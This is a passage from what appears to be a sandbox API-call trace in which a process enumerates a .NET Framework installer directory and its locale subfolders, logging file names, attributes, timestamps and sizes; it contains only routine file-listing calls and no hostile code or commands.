ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1 [0069.342] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1 [0069.342] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1 [0069.342] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1 [0069.342] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0069.343] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1 [0069.343] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1 [0069.343] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0069.343] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1 [0069.343] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1 [0069.343] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1 [0069.343] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1 [0069.344] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x0, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1 [0069.344] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0069.344] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x0, dwReserved1=0x0, cFileName="Strings.xml", cAlternateFileName="")) returned 1 [0069.344] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0069.344] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1 [0069.344] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0069.344] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1 [0069.344] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1 [0069.345] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1 [0069.345] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0069.345] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0069.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee860) returned 1 [0069.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee820) returned 1 [0069.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee920) returned 1 [0069.346] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212", nBufferLength=0x105, lpBuffer=0x1f6ee3c0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212", lpFilePart=0x0) returned 0x15 [0069.346] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x1f6ee640 | out: lpFindFileData=0x1f6ee640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0069.347] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.347] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1025", cAlternateFileName="")) returned 1 [0069.347] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1028", cAlternateFileName="")) returned 1 [0069.347] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1029", cAlternateFileName="")) returned 1 [0069.347] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1030", cAlternateFileName="")) returned 1 [0069.347] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1031", cAlternateFileName="")) returned 1 [0069.348] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1032", cAlternateFileName="")) returned 1 [0069.348] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0069.348] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1035", cAlternateFileName="")) returned 1 [0069.348] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0069.348] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1037", cAlternateFileName="")) returned 1 [0069.348] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1038", cAlternateFileName="")) returned 1 [0069.348] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1040", cAlternateFileName="")) returned 1 [0069.348] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1041", cAlternateFileName="")) returned 1 [0069.348] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1042", cAlternateFileName="")) returned 1 [0069.349] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1043", cAlternateFileName="")) returned 1 [0069.349] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1044", cAlternateFileName="")) returned 1 [0069.349] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1045", cAlternateFileName="")) returned 1 [0069.349] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1046", cAlternateFileName="")) returned 1 [0069.349] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1049", cAlternateFileName="")) returned 1 [0069.349] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1053", cAlternateFileName="")) returned 1 [0069.349] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1055", cAlternateFileName="")) returned 1 [0069.349] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 